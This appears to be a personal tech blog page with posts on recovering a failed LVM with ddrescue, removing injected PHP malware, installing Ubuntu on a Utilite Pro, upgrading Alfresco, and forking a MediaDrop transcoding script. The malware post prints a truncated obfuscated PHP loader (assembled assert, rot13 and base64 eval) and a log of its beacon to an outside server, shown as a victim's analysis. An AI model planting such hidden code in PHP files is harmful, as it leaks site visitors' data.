LVM Recovery Bedtime Story: The tale of the journey home for some long lost bytes


Above: To the right is my hovel at the cottage I setup during my holiday-time-well-spent playing with ddrescue


I had an awesome LVM for nearly 15 years. It saw me through high school, 8 years of post-secondary nerding and then some years after. The drives involved came and went, as I perpetually upgraded it. I loved it dearly. At its peak, it was comprised of 7 drives. Inevitably, the Seagate-reaper came to visit and the LVM was no more. It might have persisted, but I was younger and crazier and I took the striped path to ruin.

When it finally died, 2/3 drives were the Make & Model and both died pretty such in the same moment. They’d lived together in parallel their entire (upsettingly brief) lives. I used the opportunity to learn of ddrescue and I managed to recover about 99% of one of the drives. The other drive was a lost cause (and I tried some serious hardware stuff with it, as I have some skills in that arena). I know how I might recover THAT data, but it wasn’t worth the effort as I had backups of most of the good stuff and the whole thing was just an archive anyway.

After my efforts with ddrescue, 2.5years passed. I had other projects and pressures so the whole thing sat. Today I said it’s time to use the remaining good hardware. And so, I attempted to access what data I could. ddresuce had rendered me a file representing the one drive. I easily mounted it as a loopback device. I followed this guide to deal with the other fully missing drive. With that done, the LVM was alive again, but of course the filesystem was in ruin. It turns out, running FSCK against a large volume takes a lot of memory. There is a flag to getting fsck to store its data structures on disk, but it seemed with each run, it was gradually fixing different issues before running out of memory. So I threw-down yet another ugly little script (here). After a few runs of that, I could mount my LVM-backed file system again! And I was surprised to see a large amount of my data was accessible once again.

So if you too have lost one or more drives from you LVM. Take your time and give recovery a shot. Also, go use FreeNAS (or similar).

Now, to scale my freenas to accommodate a silly burst in data.

Battle against injected PHP

My main personal web server became infected with some effin malware that was injected it very nearly every single .php script on the server. The injected code was basically:

//###=CACHE START=###
@error_reporting(E_ALL);
@ini_set("error_log",NULL);
...etc

$strings = "as"; $strings .= "se";  $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r";  $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode");
$light =  $strings2($gbz.'("nJLtX...."));'); $strings($light);
//###=CACHE END=###

This is kind of beautiful to me, it took me a little while to figure out what it does. In effect it causes basic system info for anyone browsing sites on that server to be sent off to some other php script on another server. At first I altered the server and my network to prevent any traffic from reaching the intended target. Instead I captured the traffic so I could get a look at the volume of it. Here’s an example apache log message generated by someone browsing an infected site:

- (127.0.0.1) - - [13/Nov/2016:14:01:20 -0700] "GET /get.php?ip=192.168.1.200&d=mysite.com%2Fclass-aptent-taciti-sociosqu-ad-litora%2F&u=Mozilla%2F5.0+%28iPhone%3B+CPU+iPhone+OS+7_0+like+Mac+OS+X%29+AppleWebKit%2F537.51.1+%28KHTML%2C+like+Gecko%29+Version%2F7.0+Mobile%2F11A465+Safari%2F9537.53+%28compatible%3B+bingbot%2F2.0%3B+%2Bhttp%3A%2F%2Fwww.bing.com%2Fbingbot.htm%29&i=1&h=85f7d3bd42bb5caa72817bcd75723fbc HTTP/1.0" 404 466 "-" "-"

After kind of a lot of effort, I came up with a script that purged this malware from my server’s file system. SUuuuuure I could have restored from backup, but that’s not nearly as interesting or dangerous.

Here’s the searchAndDestroy script I came up with.

Ubuntu 14.04 on Utilite Pro

To the chase… It took me a long time to find this, but someone’s made a guide for building Ubuntu 14.04 from scratch for the Utilite. But better still, they’ve included a dropbox location to fetch images from.

Here’s the URL to the build guide.

Here’s the URL to the download directory.

For installation, I’m¬†ripping-off the Arch installation instructions here.

The key step of the installation process I kept pulling up that guide to confirm I’m recalling correctly is: bsdtar -xpf ArchLinuxARM-utilite-latest.tar.gz -C root

My Diary: Upgrading Alfresco Installations

Screen Shot 2014-04-11 at 10.10.58 PMHere’s my diary from the “epic” experience of simply trying to upgrade Alfresco installations from 4.2.c to 4.2.f. I found the community documentation to be dated and had minimal confidence in its current validity. Still, it helped. These are my final notes on the process and in actuality there were a lot of wrong turns I made along the way before landing with the below. I spent like 5 hours working this out. Crazy.

In my case, my 4.2.c installation was performed by the .bin installer from the Alfresco website. Similarly, my 4.2.f installation used the .bin install method as well.

Note my alfresco installations are located on my server under

  • /opt/alfresco-4.2.c/
  • /opt/alfresco-4.2.f/

My original alfresco installation had an init script created to run it, named alfresco.

Read more “My Diary: Upgrading Alfresco Installations”

Software > MediaDrop Automatic Transcoding Script

I’ve been working on a somewhat private personal website intended for sharing of family videos. I’ve converted roughly 200hrs of old family video tapes in to media files and am well on my way to having converted the files in to individual scenes/clips. The content is being shared, with family, using an instant of the web application “MediaDrop”. I love this web application. It’s epic. I was just looking for a podcast feed generator and I found a lot more in MediaDrop.

I then got sort of obsessed with this cool web app and eventually having family members upload their own videos. The problem was I need the format of the content to be normalized such that it’ll cooperate over the podcast feed. After all, these are meant to be easily viewed on Apple TVs. I found a script for this job, as MediaDrop doesn’t transcode. Only the script kind of sucked for my purposes. So I forked it!

Check out my first github project here: https://github.com/docdawning/mediadrop-handbrake-bot

It automatically transcodes uploaded videos to MP4 files, compatible with Apple TV3 devices.